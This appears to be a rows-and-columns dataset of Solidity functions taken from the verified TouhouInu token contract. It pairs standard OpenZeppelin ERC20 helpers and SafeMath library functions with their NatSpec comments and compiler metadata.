_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | _beforeTokenTransfer | function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
9311,
9441
]
} | 8,929 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
259,
446
]
} | 8,930 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
725,
866
]
} | 8,931 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1165,
1363
]
} | 8,932 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1618,
2096
]
} | 8,933 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
2568,
2705
]
} | 8,934 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
3197,
3481
]
} | 8,935 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
3942,
4077
]
} | 8,936 |
||
